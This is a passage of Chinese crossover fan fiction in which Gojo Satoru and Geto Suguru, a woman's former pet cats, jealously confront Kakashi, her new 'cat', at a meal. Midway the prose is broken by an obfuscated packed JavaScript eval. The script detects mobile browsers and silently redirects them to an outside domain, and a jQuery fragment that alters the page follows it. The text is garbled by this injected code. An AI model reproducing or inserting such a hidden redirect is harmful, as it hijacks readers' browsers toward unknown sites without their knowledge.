随着清亮的男声响起,卡卡西面前的盘子被抽离。
在他的身后,一个体形高大的男性不知何时坐在桌子上,笑眯眯地端着盘子指向鼻尖。
而这位大大咧咧地坐在桌上的“前辈”虽然一直看着真树,他却能察觉到一股强烈的注视感。
他不由得留意对方跟自己相似的白发。
真树从来没跟他说过,原来所谓的“前辈”里有一只白猫。
难怪最初她看自己的眼神,总是会时不时恍惚一下。
虽然当时他也猜到了,她大概是从自己身上看到了一些影子,不过那时两人的关系还不算密切。
原先不在意的事情,都像地毯下的臭虫一样,趁着空隙袭了上来。
“是‘我们’吧。”门口的密码锁被打开,另一位黑色长发男子轻车熟路地走进来,“真树,果然是急着回来喂别的猫咪呢。”
他从后面趴到真树的肩上,假装自己还是那只长毛猫一般。
“明明认出我们了,却不好好地把自己的猫咪带回家。”
跟人前温柔有礼的表现完全不同,夏油杰如今像是撕碎了人皮的恶兽,散发着视频中掩藏的侵略性。
他环在真树的脖子上,像蛛丝缠住了猎物,“是坏主人呢。”
察觉到白猫注视自己头发的眼神,五条悟双腿交叠,嘴角翘起。
他把玩着曾经日日使用的盘子。
“不好意思,这个位置,我坐习惯了。”天蓝色的眼眸却没有丝毫笑意,“虽然早就知道你养猫了,但是看到的时候,还真是让人火大啊。”
熟悉的分餐方式、用餐位置,更加细心的切割。
无不让恶意膨胀得像是遮天蔽地的乌云,张牙舞爪地靠近那只令人厌恶的猫。
“尤其是这么像我的猫。”他没有感情地看了卡卡西一眼,声音爽朗地笑道,“哈哈,我只是实话实说,不要生气。”
好碍眼。
明显是真树手作的眼罩,还有那条项圈。
都该是他的才对。
“没事,”卡卡西状似平静地回答,“如果是因为像你真树才愿意信赖我,那还要多谢你。不过很可惜,好像没有机会了。”
白发男人的嘴角放平,“你这个连专属盘子都没有的替代品在说什么啊。认识了不到五天在这里讲信赖?”
“另外,这么难听的叫声,也是猫咪能发出来的?”大手一扬,就要把盘中的食物倒掉,“真树没给你看我的视频吗,她当初可是每天、每天、每天都在给我拍照哦。”
千叶真树提起眉尾,面色急速地冷淡了下去。
而白猫的嘴巴闭得严严实实。
他确实没有被拍过照,一张也没有。
“别这么说,悟。”夏油杰趴在她耳边缓和气氛,“真树只是太寂寞了,我们离开的这六天里一定很辛苦吧。有别的猫咪能够陪在你身边,我很高兴哦。”
拉下皮筋,乌黑的发丝盖了他一脸。
他像以往一般轻轻地嗅闻着女性发根的味道。
是真树啊。
熟悉的环境和情景让摇摇欲坠的精神得到了一定的舒缓。
真好,他的道标。
又回来了。
一如既往。
这让五条悟的矛头瞬间对准了他。
“不会有人真的以为,假装大度就会被扶正吧?”盘子被不动声色地稳稳放下,“这脖子上的项圈是你的那条吧?”
真树继续吃了起来。
他松了口气,长臂快速地袭向女性的肩头,打算把碍眼的家伙之一赶走。
夏油连闪躲都没有,直接抱起真树放到怀里。全程又稳又快,甚至连筷子都没晃动。
“我相信真树会补偿给我更好的东西,”两人一起坐着,距离更加紧密,“对吗?”
五条悟没有继续追截,而是将手收回,毛茸茸的脑袋搭到她的肩上。
但他依然不甘心让开自己的位置,长长的一条从餐桌伸过来,“过分的女人。”
不来哄他就算了,还拿眼神吓唬他。
这么久没见,难道她一点也不想念自己吗?
还是说,这只讨厌的猫真的代替了他在心中的地位。
然而,无论他俩说了什么或者做了什么,都不耽误她吃饭。
出现的人越多,只会越加快她进食的速度。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470507|176379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仅有最后残留的端水本能,让她把表情凝固的卡卡西放到头顶。
奇怪,他身上的毛发还想比平时更扎手了。
真树虽然不知道原因,但是这俩人的到来把她哄猫的技能全点亮了。
白猫的身形微晃,被误解了意图,几缕树根出现把他固定住。
最终,他还是放弃在这时开口询问。
但是有人可不会放弃。
没有地盘被抢走的威胁,五条悟彻底贴过来。
他单膝跪在地上,挤开女性的双腿,被制服裹住的胸膛贴近她的腹部。
“刚刚我就想说了,”他的表情更加冷硬,“你的身上全是讨厌的味道,我不喜欢。”
尽管隔着皮质的衣料,他身上的热度源源不断地传递到真树身上。
在两人的包夹中,真树吃下一口刺身。
好吃,但是不如牛肉好吃。
生食不顶饱。
“赞同,”夏油杰靠在她的脑后,两人散落的长发纠缠在一起,“虽然被沐浴露的香味盖住了,但是还是不同。”
曾经日夜相处的时间,没有比气味留下的印象更加深刻直接的了。
在过去的十年两个月中,他甚至买来同款的生活用品,聊作慰藉时的陪伴。
所以即便失去了猫咪的嗅觉,这些细微的差池也十分明显。
真树一口把最后的半盘子刺身都吞下。
结论是中看不中吃。
“为什么要把它带回家,为什么要给它做眼罩,为什么放在头顶上?”
五条悟咬上微咸的颈侧,炽热的呼吸激得皮肤上的汗毛倒立,含糊不清地命令,“现在就回答老师,否则要接受惩罚!”
在久违地贴近真树后,他摒弃了成熟的伪装,任性地发起脾气。
她并不理半撒娇半泄愤的话语,将那些装饰用的萝卜丝和姜片全都清空,又端起猫咪的那份,“你还吃吗?”
卡卡西没想到,这种时候她还能把关注点放到吃上,“不是专门给我买的吗,当然不负心意。”
脖子上的猫下口更重了。
头上的猫显然发现了这一点,心情较好的盘起前爪。